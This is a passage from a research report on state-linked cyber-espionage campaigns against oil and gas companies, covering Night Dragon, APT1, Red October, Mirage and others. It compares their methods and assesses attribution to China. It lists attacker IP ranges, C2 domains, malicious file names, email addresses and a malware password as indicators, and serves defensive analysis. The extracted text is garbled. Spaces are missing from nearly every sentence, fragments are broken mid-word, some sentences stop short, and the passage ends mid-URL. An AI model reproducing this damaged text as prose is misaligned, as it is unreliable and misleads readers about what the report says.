Orhasthecountrybeenexperiencingamajorinfluxinenergydemand?Thisinformationcanthenbeaggregatedand synthesizedintoamoreinformedviewoftheevent.
Afinalmajorcomponentoftheanalysiswastheexaminationofwhetherthemotivesandmethodsalignwith theactorsstrategicculture.
Thisincludesdefiningtheoverallstrategictheoriesthatthecountryadherestoandgoalsit desirestoaccomplish.
Asmentionedearlier,thetacticsemployedduringtheattackcanbeincrediblypotentasanattri- butionmechanismifanattackisfarremovedfromanationscapabilities,itislesslikelythattheywereinvolvedinthe incident.
Likewise,ifthetacticsarewithinagivennationstechnicalprowessandfollowestablishedpatternsexhibitedby thatnation,itsignificantlyimprovestheconfidenceinattribution.
However,cautionwastakenwhenattributingtacticsto actors,asdeceptionisacommonelementinmanycyberwarfarestrategies.
Therefore,tacticalsimilaritiesordissimilari- 8 tiesalonedonotimplicitlyidentifyorruleoutagivenactor.
Biases ThenatureofOSINTgatheringposesobstaclestoobjectiveanalysis.
Whilegatheringthedata,itshouldbe notedthattherearesourcebiases.
Allofthesourcesusedareopensource,andassuchtheprovenanceoftheinforma- tioncannotalwaysbeindependentlyverified.
Theinformationitselfmaybelegitimate,butpresentedinanincomplete orskewedmanner.
Itisalsolikelythatnotallofthedetailsofthecollectedincidentsareavailable.
Insomecasesthe companiesreportingtheincidents,suchasSymantecandMacAfee,arenotlegallydisposedtodivulgeselectinformation abouttheircustomers.
Anotherlimitationisinformationavailableaboutincidentsthatoccurredinforeigncountries.
Duetotightercontroloverjournalismorlanguagebarriers,othercountriesarelikelynotreleasingfulldetailsfrominci- dentsthathaveoccurredornotdoingsoinlanguagesfamiliartotheauthors.
Insomecases,entireeventsmaynotbe releasedtothepublic,eitherbyforeigngovernmentsorthecompaniesthemselves.
Inordertoaddresstheaboveconcerns,severalmethodswereused.
Datawasgatheredfromestablished,and ideallytrustworthy,sources.
Thisincludesreportsfromreputablenewssites,companyorgovernmentpublications,or scholarlypapers.
Also,everyeffortwasmadetotrackdowntheoriginalsourceoftheinformationfoundinreports,or cross-examineitwithothersources.
Multiplesourceswerefoundwhereverpossibleandscrutinizedinordertoobtain corroboratingdata.
Ofequalinterestisinformationwhichwascontradictorybetweensources.
Thesecontradictions werepresentedandaddressedwhereappropriate.
Finally,despiteevidencefoundinsupportofanygivenactor,alternatehypothesesmustbeconsidered.
Aswith anyintelligencegathering,thereisthepossibilityoferror,whetherinformationismisreportedortakenoutofcontext, andthisisespeciallytrueofOSINT.Thepurposewasnottoselectanoutcomeandattempttosupportitbutratherto findrefutationaswell.
Informationthatmayexculpateaparticularactorwasthoroughlyconsidered.
Althoughhuman erroriscommonincyberincidents,itisimportanttodeterminewhethertheerrorwastakenadvantageofbyothers.
9 Cyber Espionage Oneofthemosteasilydistinguishablepatternsontheabovetimelineisthegrowingfrequencyofreportedcyber espionage.
Thissagaoflong-termcampaignshasbeengarneringalotofattention,andwithgoodreason.
Somehave assertedthatcertaincampaignshaveexistedsincetheearly2000s1,yettheirexistencehasonlyrecentlycometolightin theprivatesector.
Thedamagecausedbythesetypesofbreachesisdifficulttoestimatebecauseitoccurredoversucha longtimespan,butinsomecasesterabytesofdatawerestolenovertheperiodofafewmonths.2Whentakeninrelation totheoilindustry,whereproprietaryinformationlikebidexplorationdataisthelifebloodoftheorganization,thiscanbe adisastrousblow.
However,whilecampaignslikeNightDragonarepointedlytargetedattheoilindustry,othersarefar moreencompassingintheirbreadthandappearmoredisparate.
Establishingabaselineorpatternwithinthisindustryaloneexcludesalargeandpotentiallyusefulamountof context.
Notonlyweremostofthesecyberespionagecampaignslargerinscopethansimplytheoilandgasindustry, butsomealsocompletelyexcludedit.
Interestingly,thereareothercyberespionagecampaignsnotlistedinthetimeline (suchastheinfamousFlameandMahdiviruses)thattargetcountrieswithsomeofthelargestoilreservesintheworld, buttheattacksthemselveswerenottargetedattheOilGasIndustries.
Giventhesheernumberofincidents,itwouldseemlikelythatthereismorethanonesource,yetthetechnical dataavailableseemstosuggestotherwise.
Itisclearthattheseincidentsrepresentahugedangertotheprofitabilityand competitiveness,eventhefuturesuccess,ofvictimcompaniesYettheseconsequencescarrywiththemsomelevelof inherentattribution.
Theverynatureofproprietaryinformationmeansthatifanentitywhohadacquireditweretouse theinformation,itcouldidentifythemashavingaconnectiontotheincident,whetherdirectlyorthroughathirdparty.
Also,attacksofthisscalerequiresomeleveloforganizationthatmanifestsitselfintheformofrepeatedpatternsofbe- haviorandresourceusagethatcansuggestacommonorigin.
Thisorganizationcoupledwiththeresourcesandexpertise necessarytoprocessandanalyzetheexorbitantvolumeofstoleninformationleadstoahighlikelihoodofstateactoror organizedcriminalinvolvement.
Oneofthelargestdifficultiespresentinidentifyingtheprovenanceandtotalityoftheseattacksisthatthereis nopubliclyavailableaggregationofthebodyofinformationcollectedonthevariousAPTactivities.
Instead,Antivirus IncidentResponsefirmswhichhavethebestvantagepointonthesituationareprovidingseparatereportsinwhich theyusetheirowncolloquialnamesandtermsfortheattacks,thetools,andthecampaigns.
Thiscreatesoverlap,where campaignswithdifferentnamesmayinfactbepartofthesamecampaign,andthetechnicaldatathatisotherwise separatedacrossthereportscouldtogetherrepresentamoreapparentpattern.
Onlyonereport,theMandiantAPT1 report,includedabrieftablenotingthattheyhadcomparedsomeoftheotherattacksandruledoutAPT1astheculprit.
Additionally,thesefirmsareentrustedwiththesafeguardoftheircustomersinformation,andsooftenwillnotrelease thefullextentofwhatwasfound,noradefinitivelistofvictimsaddingtotheobscurity.
Thesesourcesalsointroduce theirownbiaseswhichmustbeaccountedfor.
Forthisreason,whatfollowsisanoverviewofthevariousreportsthatmentiontheoilandgasindustryas targets,andananalysisofimportanttechnicalaspectsandgoalsofthesecampaigns.
Throughthisanalysis,hopefully amorecompleteviewoftheactionmaybeobtainedtoseeifthegoals,resources,techniques,andtimeframesexhibit commonalitybetweenattacks.
1  Mandiant, APT1 (Feb 13, 2013).
Retrieved from http://www.mandiant.com/apt1 2  Ibid.
10 Oil/Gas Inclusive or Specific Campaigns Countries affect lists only countries where oil and gas companies were compromised.
Campaign:NightDragon Publisher:McAfee Synopsis:TheNightDragonreportreleasedbyMcAfeewassomewhatofaseminaleventin thatitwasthefirstwellknownreleaseofafairlydetailedAPTanalysisandtechnicalattribu- tion.
TheattacksconglomeratedinNightDragonwerenearlyallconductedagainstunspecified globaloil,energy,andpetrochemicalcompanies.
Theattacksfollowedamethodicalseriesof steps: 1.
usingSQL-injectiontoobtainaccesstoanextranetserver,orusingspear-phishing againstmobileworkerlaptopsandcompromisingcorporateVPNaccountstoob- tainaccesstothecompanyintranet 2.
uploadingcommonhashdumpingtoolspasswordcrackingtoolsharvestActive Directorycredentialstogainaccesstosensitivedesktopsservers 3.
Accesssensitivedocuments 4.
UploadRATmalwaretoexfiltratesensitivedata 5.
Movelaterally McAfeewasalsoabletoidentifymuchofthegenericmalwareused,andcommunications techniques.
Theyalsosuggestedthattheattackersworkedbetween9:00amand5:00pmBei- jingtimeduringweekdays,andthatmosttrafficwasoriginatingfromtheShandongProvince ofChina.
Published:Feb10, 2011 Earliest Date: [At- tackshavebeenongo- ingfor]atleasttwo years,andlikelyas manyasfour Circa2007-2009 Purpose:Exfiltrationofcompetitiveproprietaryoperationsandproject-financinginformation withregardtooilandgasfieldbidsandoperationscollectionofdatafromSCADASystems Entry Method:SocialEngineering,SpearPhishing,SQL-injection Countries with Companies Affected:U.S.,Taiwan,Kazakhstan,Greece Campaign:Elderwood Publisher:Symantec Synopsis: SymantecobservedagroupitreferstoastheElderwoodgangoperatingacon- certedcampaignagainstavarietyofindustriesincludinganundisclosedoilandgascompany.
SymantecalsoassertsthatthesearethesamehackerswhooperatedintheAuroracam- paignagainstGooglein2009.Thiscampaignisuniquetosomedegreeinthatitusedahigh numberofzerodayexploitsinAdobeFlashandMicrosoftsInternetExplorer.
Whileitappears thattheattackersusedspear-phishing(viaemail),theirprimarytechniquewastheuseofa watering-holeattackwherebytheyattackwebsitesknowntobefrequentedbythetarget usingtechniquessuchasSQLinjection,anduploadmaliciousfilestothesewebsite.
Thetarget thenvisitsthesiteandgetsinfected.
Thisisinterestingbecausethetargetdoesnothaveany indicationthatithasbeencompromised,butthenumberofoverallinfectionsgoesupbecause ofuntargetedvictimswhichalsovisitthesite.
Thisattackrequirestheattackerstofindsecurity vulnerabilityinthedesiredwebsiteafterselection,requiringmoretechnicalskillthansomeof theothercampaignsinitiallyexhibit.
Symantecbelievesthattheexploitswerepackedwitha TrojanandCommandControl(C2)serveraddressusingaplatformthatgivesthegroupits name:Elderwood.
Published:Sept06, 2012 EarliestDate:Decem- ber2009 Purpose:thewholesalegatheringofintelligenceandintellectualproperty Entry Method:Watering-Holeattacks,SpearPhishing Countries with Companies Affected:Undisclosed 11 Campaign:ShadyRAT Publisher:McAfee Synopsis: ThisreportreleasedbyMcAfeediscussesaRATtheyclaimtobeincrediblyprolific, infectingavarietyofindustriesacrossmultiplecountries.
Thereportitselfisverysparseonany technicaldetailsorevidence,largelylackingsubstance.
Itprovidesalistofvictimsbyindustry andtheircountryoforigin.
Italsoprovidesadetailedtimelinefortheattacks.
Interestingly,EugeneKasperskyheavilycriticizedthereportforbeingalarmistandskewed, statingthatmanyoftheconclusionswerepresumptive.
Published:August02, 2011 Earliest Date: July 2006 Purpose:Exfiltrationofahistoricallyunprecedentedtransferofwealthcloselyguarded nationalsecrets(includingthosefromclassifiedgovernmentnetworks),sourcecode,bug databases,emailarchives,negotiationplansandexplorationdetailsfornewoilandgasfield auctions,documentstores,legalcontracts,supervisorycontrolanddataacquisition(SCADA) configurations,designschematics,andmuchmore Entry Method: Spear Phishing Countries with Companies Affected:U.S. Campaign:Mirage Publisher:DellSe- cureWorks Synopsis: DellSecureWorksgivesafairlygoodcollectionoftechnicaldetailsaboutthecam- paigntheyvedubbedMirageforthestringusedtoconnecttotheC2serverbytheRemote AccessTrojan,butlargelytheyfocusedonstudyingthetool,notmonitoringtheAPTactivity.
SomepointsofnotearetheuseofHTRAN(arelaythatDellsCyberThreatUnitassertswas developedbytheHonkerUnionofChina,orHUC)forrelaying,andregistryofafewdomains toanemailaddress(dnsjackyahoo.com)andIPrangesinChina.
Published:Sep18 2012 Earliest Date:April 2012 Purpose:Theftofintellectualpropertyandcompanysecrets Entry Method:SocialEngineering,SpearPhishing,SQL-injectionofwebservers Countries with Companies Affected:  Philippines, Canada 12 Campaign:RedOctober Publisher:Kaspersky Synopsis: RedOctoberisasophisticatedespionagenetworkverymuchunlikeotherattacks whichhadbeenreported.
Whileforthemostpart,thetargetswerediplomatic,therewere severalinstanceswhereKasperskynotedthatoilandgasindustrieshadbeentargeted.
The attackuseddomainsregisteredtoRussianemailaddresses,andIPrangesidentifiedwereser- vicedbylargelyGermanandRussianISPs,howeverKasperskybelievesthatthethreemother- shipC2serversidentifiedareactuallythemselvesproxiesforanasyetunidentifiedC2server whichcouldthenbeoperatingnearlyanywhere.
AsalientpointisthatRedOctobermade useofexploitcodethatwascreatedbyotherattackersandemployedduringdifferentcyber attacks.
Theattackerslefttheimportedexploitcodeuntouched,perhapstohardentheidenti- ficationprocess.
Additionally,RedOctoberissomewhatuniqueamongstattacksthattargeted oilandgasinthatitiscapableofstealinginformationfromavarietyofembeddeddevices suchasphoneandrouters.
Published:Jan14, 2013 Earliest Date:May 2007 Purpose:gatherintelligencefromthecompromisedorganizations Entry Method:SocialEngineering,SpearPhishing,SQL-injectionofwebservers Countries with Companies Affected:Azerbaijan,Belarus,Turkmenistan,UAE Campaign:APT1 Publisher:Mandiant Synopsis:TheAPT1Reportisperhapsthemostdetailedreporttodate.
Theyalsomincedno words,directlyaccusingChinaasastateactorofengaginginCyberEspionage.
Researchers atMandianttrackedbackactivitiesofanAPTgrouptheyreferredtoasAPT1totheChinese PLAUnit61398withrelativelysolidevidence.
Theyevenwentsofarastoreportthebuilding whichtheybelievedAPT1wasoperatingoutof,andunmaskthreeoperatorsUglyGorilla, DOTA,andSuperHardgivingpossiblerealnames,onlinepersonasandotheridentifyinginfor- mationaboutthem.
APT1operatedoverhalfadecadeatleast,stealinghundredsofterabytes ofdatafromatleast141organizations,oftenconductingsuchoperationsinparallel.
The attackersmaintainaccesstoagivennetworkfornearlyayearonaverage.
Theattackersoper- atedduringthe9:00amto5:00pmBeijingTimeandthyfollowedafairlystrictmethodologyof attack,similartotheonenotedintheNightDragonreport: 1.
Initialreconnaissance 2.
Initialcompromiseofasystem,largelythoughspearphishing 3.
EstablishingafootholdinthenetworkthroughTrojandroppingtoaC2server 4.
Escalatingprivilegesthroughcredentialharvesting 5.
Internalreconnaissanceofthenetworkand WhileMandiantgenericallyreferstoenergycompanies,oneofthetrojanedfilestheynote wasusedinthespearfishingattackbearsthenameOil-Field-Services-Analysis-And-Outlook.
zipwhichreallyties.
MandiantnotesthatAPT1isalsoreferredtoastheCommentGroup,a namegivenforthecommunicationsmethodusedbytheirRATswhichwouldsetattributesin webpagesasameansofC2.
Published:Feb19, 2013 Earliest Date:2004- 2006 Purpose:Exfiltrationofcompetitiveproprietaryoperationsandproject-financinginformation withregardtooilandgasfieldbidsandoperations Entry Method: Spear Phishing Countries with Companies Affected:Undisclosed 13 Campaign:ByzantineCandor Publisher:Bloomberg Synopsis:AnexposrunbyBloombergin2012chronicledtheundertakingsofasecurity researchcoalitionwhichdecidedtotrackoneofthelargestCyberEspionagegroupsoperating outofChina.
BloombergclaimsthatUSIntelligencehadbeenkeepingtabsonthegroupfor years,whichtheyreferredtoasByzantineCandor.
Inthesamebreath,Bloombergnotesthat thegroupisoftenreferredtoastheCommentGroup.
BloombergjournalistChloeWhiteaker alsopublishedashortbuttechnicalarticlethatdetailedsomeoftheCommentGroupsactivi- tiesandtools.
Thereportincludedaninfographicthatidentifiedoilandgasvictimsofthecom- mentgroup.
Published:July26, 2012 Earliest Date:2002 Purpose:thebiggestvacuumingupofU.S.proprietarydataeverseen Entry Method:SocialEngineering,SpearPhishing Countries with Companies Affected:U.S.,UnitedKingdom Report Based Attack Timeline Technical Similarities Betweenthecampaignsidentifiedabove,thereareafewtechnicalsimilaritiesthatarise.
Aswasalreadyad- dressed,theseattackshavebeenselectedforonecommonthreadtheysharetargetswithintheoilandgasindustry.
Otherbetweenthemwillnowbescrutinizedtofindanyadditionallinks.
Thisisnotintendedtosuggestthatthesame groupisbehindeveryattack,butratheridentifytacticalandoperationalsimilaritiesthatwouldpointtoaunifiedsource oftrainingorcontrol.
Oneofthemostobvioussimilaritiesbetweenalloftheattacksisthemotive:thelargescaletheftofcorporate data.
ThemethodologyofdataextractionisverysimilarbetweenNightDragon,ShadyRAT,Elderwood,APT1,andByz- antineCandor.
Onenoteonthisisthatalthoughtheattacksallfollowedasimilarmethodology,thisverymethodologyis commoninthenetworkpenetrationtworld,andsonotentirelyunique.
SlidesfromapresentationgivenbySANSaffili- ateJamesShewmakerin2008highlightthismethodologyinbrief:Reconnaissance,Port/VulnerabilityScan,Exploitation, andRepeatfromthenewvantagepoint.
Theonlythinglargelydifferentisthatthedataexfiltrationoccursafterexploita- tionthatandtheattackerswereworkingfromtheoutsideinitially,sotheyusedsocialengineeringtogetin.
Withthat 2002 201320122011201020092006200520042003 20082007 Byzantine Candor Red October The Elderwood Project APT1 Night Dragon Mirage ShadyRAT 14 saidthefactthatthemajorityoftheseusedhighlytargetedspearphishingandexfiltratedsimilardatausingRATsisnot tobediscounted.
Additionally,theseattacksallappeartobeoperatingoutofeitherBeijing,Shanghai,andShandong province.
ThedatabelowwillshowthatByzantineCandorandAPT1areoneinthesametheyshareoperators(Ugly Gorilla)anduniquetechnicalinfrastructurelikeFullyQualifiedDomainNames(FQDNs).MandianttiedAPT1backtothe PLA,anda.
MandiantevenacknowledgesthearticlewrittenbyBloombergintheirreport,andidentifiestheComment Groupasanalias IP Addresses  Origins WhileabouthalfofthereportsomittedIPranges,themajorityofIPaddressrangesmentionedcamefrom serviceprovidedbyChinaUnicomtooneoftwolocales:BeijingorShanghai.
ThemajorexceptiontothisisRedOctober, whichlargelyhadIPaddressrangescomingfromGermanyandRussia.
ExcludingRedOctober,incaseswhereranges didnotcomefromBeijingorShanghai,theywereoftenidentifiedashostthatwerecompromisedandusedasproxies loadedwithtoolssuchasHTRAN.
NightDragon Elderwood Mirage RedOctober APT1 [unspecifiedIP rangemost C2servers operatingout ofHezeCity, China] 114.240.0.0/20 141.101.239.225 223.166.0.0/15 178.63.208.49 58.246.0.0/15 112.64.0.0/15 139.226.0.0/15 114.80.0.0/20 101.80.0.0/20 InterestinglyNightDragon,whichdoesnotprovidearangeofIPaddresses,offeredinsteadthatanindividualoperating outofHezeCity,Shandong,ChinawasresponsibleforprovidingtheC2serversthroughhiscompany.
Anarticlepublished intheWallStreetJournalnotesthatMcAfeeidentifiedthisindividualasSongZhiyue.3 Domains Afulllistofdomainsretrievedfromthevariousreportscanbefoundintheappendices.
Ofthedomainswhich appearedinthereports,onlymatchesbetweenAPT1andByzantineCandorwereidentified.
Therestwereinconclusive assomeofthereportsdidnotincludeFQDNsandotherswhichdidincludethemdidnotprovideafulllist.
Additionally,a largeportionoftheattacksmadeuseofDynamicDNSservices,wheretheparentdomainisnotinherentlymalicious.
But subdomainsmaybeusedbyservicesubscribersfortheirownpurposeswithoutpolicing.
Registered domains common be- tween APT1  Byzantine Candor .hugesoft.org www.arrowservice.net www.blackcake.net www.dnsweb.org www.globalowa.com www.purpledailt.com www.worthhummer.net www1.earthsolution.org 3  Hodge, N.  Entous, A.
(Feb 10, 2011).
Oil Firms Hit by Hackers From China, Report Says.
Retrieved From http://online.wsj.com/article/SB10001424052748703716904576134661111518864.html 15 wwwt.infosupports.com Withthatsaid,thereisanothersomewhattenuousconnectionbetweentwoofthecampaigns:MirageandElderwood.
NightDragonisnottheonlyinstancewhereanindividualinChinaischargedwithprovidinginfrastructuretotheattack- ersviatheirbusinessHBGaryauthoredareportinthewakeofOperationAurorawhichimplicatedabusinesscalled Bentiumoperating3322.orgoutofChangzhouandamannamedPengYongasprovidingdynamicDNSservicestothe attackers.4OperationAurorawastiedtoElderwoodinSymantecsElderwoodProjectreportandelsewhere.
DellSecure- workswhichauthoredtheMirageReportalsoauthoredapieceknownastheSinDigooAffair.5Theconnectingfactor betweentheSinDigooaffairandMiragewasthatanoperatorreusedseveralemailaddresses(jeno_1980hotmail.com king_publichotmail.com)andinfrastructurebetweenthem.
TheC2serversusedaDynamicDNSserviceoperatedby 3322.org.
TheSinDigooAffairalsotiesthesebacktoGh0stNetvia3322.organdtheRSAbreachbasedonthereuseof IPaddressblocksbelongingtotheChinaBeijingProvinceNetwork(AS4808).PengYongalsoownsotherdomainstied backtomalicioususebothinAuroraandelsewhere.
AccordingtoSteveRaganoftheTechHerald,PengYongispossibly theauthoroftheCRCfunctionusedinsomeoftheAuroramalware.6 Itisentirelypossiblethat3322.orgwasprovidingservicestomultipleseparateAPTgroups,itisafterallafairly successfullyDynamicDNSservicewhichhasbeendocumentedinothermalwarecases.
However,Pengslevelofin- volvementintheAuroracampaignshouldbescrutinized.
InterestinglytheSinDigooreportalsoattemptstoidentifythe jeno_1980accountwhichhadthealiasTawnyaGrilithattachedtoit.
Intheprocessoftheirinvestigation,theytied backtheaccounttoanoperatorgoingbythescreennamexxgchappy.
Theyalsofoundapieceofmalwareostensibly writtenbyxxgchappyappearingtodatebacktoMarchof2002.Thisispotentiallysignificantbecauseitisthetimeframe aroundwhichtheleakedUSembassycablehadnotedpossiblePLAcyberespionageactivity.
Malwareusedbythisactor, aswellasappearinginMirageandGh0stNet,wasdiscoveredin2011and2012tohaveinfectedgovernmentministriesin Vietnam,Brunei,andMyanmar.
AdditionallythereareafewinfectedvictimsinEuropeandtheMiddleEastbelongingto governmentministriesindifferentcountries,anembassy,anuclearsafetyagency,andotherbusiness-relatedgroups.7 ThisisofinterestinpartbecauseRedOctoberalsotargetedgovernmentministriesandembassies.
However,inordertomorefullyanalyzeanyconnectionsbetweenthedomainsthatwerelistedineachofthe reports,thewhoisandARINrecordscouldbeexamined.
Thecontactinformationcouldthenbecross-referencedtofind similarities.
Unfortunately,manyofthedomainshadtheircontactinformationscrubbedorhavesincechangedhandsin thewakeofthereportsbeingreleased,soananalysisatthispointwouldbeerroneousandincompleteatbest.
AfinalnoteondomainsisthatmanyofthereportsdidlookforregistrantinformationinthecaseofAPT1for instance,manyregistrantsblatantlyputChinaastheirplaceoforigin,orpoorlymaskedthisfactbymisspellingtheplaces theychoseorincludingaShanghaiphonenumber.
InthecaseofRedOctoberhowever,allregistrationswiththeexcep- tionofoneweredonewith.ruemailaddresses,andaddresseswerenotreusedashadbeenthecaseinotherinstanc- es.
Thissignalsamuchmoreconcertedefforttoremainanonymous,andalevelofprofessionalismnotseenintheother attacks.
4  HB Gary.
(
Feb 10, 2010).
Operation Aurora.
Retrieved From http://hbgary.com/hbgary-threat-report- operation-aurora 5  Stewart, J.
(Feb 29, 2012).
The Sin Digoo Affair.
Retrieved from http://www.secureworks.com/cyber- threat-intelligence/threats/sindigoo/ 6  Ragan, S. (Jan 27, 2010).
Was Operation Aurora really just a conventional attack?
Retrieved from http:// www.thetechherald.com/articles/Was-Operation-Aurora-really-just-a-conventional-attack/9124/ 7  Stewart, J.
(Feb 29, 2012).
The Sin Digoo Affair.
Retrieved from http://www.secureworks.com/cyber- threat-intelligence/threats/sindigoo/ 16 Revised Attack Timeline Considering the information which was discussed and presented, below is a revised attack timeline, consolidating indi- vidual campaigns into the likely perpetrator of the attack and extending as necessary.
Events that Correlate Using the technical data and behavioral analysis above, individual incidents of reported hacking in news media can be connected to campaigns.
Below are several incidents that demonstrate strong correlation to the information discussed above.
Norway,November2011 Norwayhadthemostprolificseriesofcyber-attacksinthecountryshistoryinNovember2011.8Asreported byNorwaysNationalSecurityAgency(NSM),morethan10firmsweretargetedbyanadvancedpersistentthreatusing spear-fishingattacks,manyofwhichwereintheoilindustry.9Theattacksmayhavebeenongoingforoverayear.
The companieswereunawareoftheattacksuntilconcernedemployeesreportedreceivingsuspiciousemails.
Nospecificinformationwasreleasedonthetoolsormalwarethatwereusedtoconducttheseattackshowever NSMnotedthataviruswasusedinconjunctionwithtailoredspear-fishingattacksmakinguseoftrojanattachments.10 Itappearedthatthepurposeoftheattackswaslarge-scaledataexfiltration.
AswasthecaseinNightDragon,theNSM bulletinsuggeststhattheattacksvariedslightlyeachtimesoastoavoidAVdetection.
AnarticlebyDefenseNewsquotes NSMasstatingthattheattackshave,onseveraloccasions,comewhenthecompanieshavebeeninvolvedinlarge-scale contractnegotiations.11Thiscouldsuggestthattheattackerswereprivytothenegotiations.
Interestingly,in2010Nor- waysStatoilwasengagedinnegotiationswithChinaOilfieldServices,Ltd.
(COSL).AccordingtotheWallStreetJournal, COSListheoil-fieldservicesandrig-constructionunitofstate-controlledChinaNationalOffshoreOilCorp.
,thecountrys 8  BBC News.
(
2011, November 18).
Hackers attack norways oil, gas, and defence businesses.
BBC News Technology.
Retrieved from http://www.bbc.co.uk/news/technology-15790082 9  France-Presse, A.
(2011, November 18).
Norwegian defense firms hacked, intel reports.
Defense News.
Retrieved from http://www.defensenews.com/article/20111118/DEFSECT04/111180309/Norwegian-Defense- Firms-Hacked-Intel-Reports 10  NSM (2011) Samme aktr bak flere datainnbrudd .
Retrieved From https://www.nsm.stat.no/Aktuelt/ Nytt-fra-NSM/Samme-aktor-bak-flere-datainnbrudd/ 11  France-Presse, A.
(2011, November 18).
Norwegian defense firms hacked, intel reports.
Defense News.
Retrieved from http://www.defensenews.com/article/20111118/DEFSECT04/111180309/Norwegian-Defense- Firms-Hacked-Intel-Reports 2002 201320122011201020092006200520042003 20082007 PLA Unit 61398 [APT1, Byzantine Candor] The Elderwood Project The Beijing Group [Mirage] Red October Night Dragon ShadyRAT 17 largestoffshoreoilandgascompanybyoutput.12 Thegoaloftheattacksappearedtobethecollectionofconfidentialinformation,suchasusernames,passwords, industrialdrawings,andotherproprietarydocuments.13Thiswouldseemtobeconsistentwiththetypesofinforma- tionsoughtinbothNightDragonandAPT1.ThetimeframeoftheattackalignswiththeeventtimelinelistedintheAPT1 report,andwithinthereportthereisaneventappearinginNorway.
Thisisthenaconvergenceoftimeandobjectives acrosstheseoperationswhichcomplementthetacticalsimilaritiesinvolvingtheuseofsocialengineering,persistent backdoors,andlargescaledataexfiltration.
Telvent,September2012 InSeptember2012CanadianenergycompanyTelventwasinfiltrated.
Telventisresponsibleforsupplyingcontrol programsandsystemsforoverhalfoftheoilandgaspipelinesinNorthandLatinAmerica.14Theattackersinstalledmal- warewhichtheyusedtostealprojectfilesrelatedtoTelventsOASySSCADAproduct.
AccordingtosecuritybloggerBrian Krebbs,OASySisaproductthathelpsenergyfirmsmesholderITassetswithmoreadvancedsmartgridtechnologies.
15 TheinfiltrationfollowsthesamemethodicalapproachexhibitedintheNightDragonandNorwegianintrusions.
Notonlywasthemalwaredifficulttodetect,butitwasplantedusingspear-phishingmethodsthattargetedmidtohigh levelexecutives16 17.
Perhapsthemostconvincingpieceofevidenceastotheoriginsoftheattackiswhatappearstobeanotifica- tionreleasedbyTelventwhichidentifiedmaliciousfilesanddomainsusedforCommandandControl(C2).Thefilenames fxsst.dllandntshrui.dllwhichappearintheTelventnotificationalsoappearintheAPT1report,alongwiththe domainshugesoft.organdbigish.netwhicharenotedasmainstaysofAPT1byMandiant.
Severalsecurityfirmsat thetimealsoreportedthebeliefthattheattackhadbeenperpetratedbythecommentgroupanaliasintheMandiant ReportforAPT1.Infact,MandiantactuallymentionedtheTelventattackintheirreportunderasectionentitledAPT1in theNews.
ThereasontheTelventattackissoimportantisthatitrepresentsthepossibilityfordeparturefromsimplydata exfiltration.
Althoughavailableinformationindicatesthatthegoaloftheattackwasstealingsoftware,thesoftwarecould justhaveeasilybeenmodifiedandreplaced.
AttackingaprolificenergyICScompanylikeTelventmeansthatatrojan couldbeplantedinthesoftware,beingunintentionallydistributedtoTelventscustomersandofferingtheperpetratoran avenueformoreinsidiousattacks.
12  Simon Hall (2013, December 13).
China,NorwayStrikeOilDealDespiteTensions.
Wall Street Journal.
Retrieved from http://online.wsj.com/article/SB10001424052748703727804576016841533225226.html 13  Ibid.
14  Vijayan, J.
(2012, September 26).
Energy giant confirms breach of customer project files.
Computer- world.
Retrieved from http://www.computerworld.com/s/article/9231748/Energy_giant_confirms_breach_of_ customer_project_files 15  Krebs, B.
(2012, September 26).
Chinese hackers blamed for intrusion at energy industry giant telvent.
Retrieved from http://krebsonsecurity.com/2012/09/chinese-hackers-blamed-for-intrusion-at-energy-industry- giant-telvent/more-16936 16  Vijayan, J.
(2012, September 21).
Cyber espionage campaign targets enery companies.
Computerworld.
Retrieved from http://www.computerworld.com/s/article/9231596/Cyber_espionage_campaign_targets_energy_ companies 17  Ibid.
18 Attribution China PerhapsthemostreadilyapparentattributionistoChinaasastateactortheAPT1reportmakesaconvincing argumentforthiswhichoffersalotofverywellconstructedcircumstantialevidence.
NightDragonhighlightstheuseofa RATknownaszwSheelwhichwasusedbothasatoperformC2andtocreatecustomtrojans.
Interestingly,uponlaunch zwShelldisplaysanerrordialogwithahiddentextfieldandtheprogramwillnotfunctionunlessthepasswordzw.china isenteredintothishiddentextfield.
TherangesofconsecutiveIPaddressesusedwerelargeenoughthatitislikelythat theChinesegovernmenthadtobeinvolvedinsomecapacity.
ChinacertainlypossessesthemotivetocommittheattacksaccordingtotheWashingtonTimes,Chinais alreadysurpassingtheUnitedStatesasthenumberoneoilimporterfromtheMiddleEast18,andpoisedtobecomethe numberoneoilimporterglobally.
IncreasingDemand Chinesedemandforoilhasgrowndramaticallyasitseconomycontinuestoexpand.
Sincethemid-1990s,China hasbeenanetimporterofoil.19ThecontinuousgrowthoftheChineseeconomyhasresultedinvastincreasesinthe needforfuelandpetroproducts.
Chinahasdoubleditsoilconsumptioninthelast10yearsandbecomethesecond largestconsumerofoilintheworldbehindtheU.S.20LiketheU.S.,Chinaisnowdependentonitsoilimportstofeedits thrivingeconomy.
ItisestimatedthatChinasimportdependencycouldrisetoover50by2020.1 Chinasoilrefineriesarenotcapableofhandlingthecurrentdemandtheeconomyisplacingonthem.
Thereis evidencethattherefineriesusedforfuelareatacompetitivedisadvantagewhencomparedtoothercountries.
Tocom- plicatematters,manyChineseoilrefineriesarealsoorientedtothemakingofdieselandnotgasoline,whichisinincreas- ing demand1.
ThismeansChinaisingreatneedofmoresourcesofoilandmoreefficientrefineries.
Thedevelopmentofim- provedrefiningandminingequipmenttakesyearsandcancostmillionsofdollars.
Explorationcostsforfindingnewoil reserveshavealmosttripledinthepastdecade.21Theycouldsavebillionsofdollarsandshaveyearsofresearchoffby acquiringtechnologyfrompetrochemicalcorporationsthatarealreadyheavilyinvestedinthiscontinuingprocess.
Italso meansthatChinawouldbeabletocompeteintheglobalmarketplacemuchsoonerandmorecompetitivelythanifthey waitedtodevelopthetechnologyontheirown.
ThisestablishesthattherearesignificantreasonsforChinatoacton behalfofitsownoilindustryanduseitsstateresourcestoconductcyber-attacksagainstcorporateentitiesworldwide.
18  Hill, P. (March 14, 2013).
China poised to top U.S. as oil buyer increased car sales spur jump.
Retrieved from http://www.washingtontimes.com/news/2013/mar/14/china-poised-to-top-us-as-top-oil-buyer/?pageall 19  Skeer, J.
(2007).
China on the move: Oil price explosion?.
Energy policy, 35(1), 678-691.
http://discover.lib.purdue.edu:3210/purdue?ctx_verZ39.88-2004ctx_encinfo3Aofi2Fenc3AUTF-8ctx_tim2013-03- 09T153A593A35ISTurl_verZ39.88-2004url_ctx_fmtinfofi2Ffmt3Akev3Amtx3Actxrfr_idinfo3Asid2Fprimo.
exlibrisgroup.com3Aprimo3-Article-wosrft_val_fmtinfo3Aofi2Ffmt3Akev3Amtx3Arft.genrearticlerft.
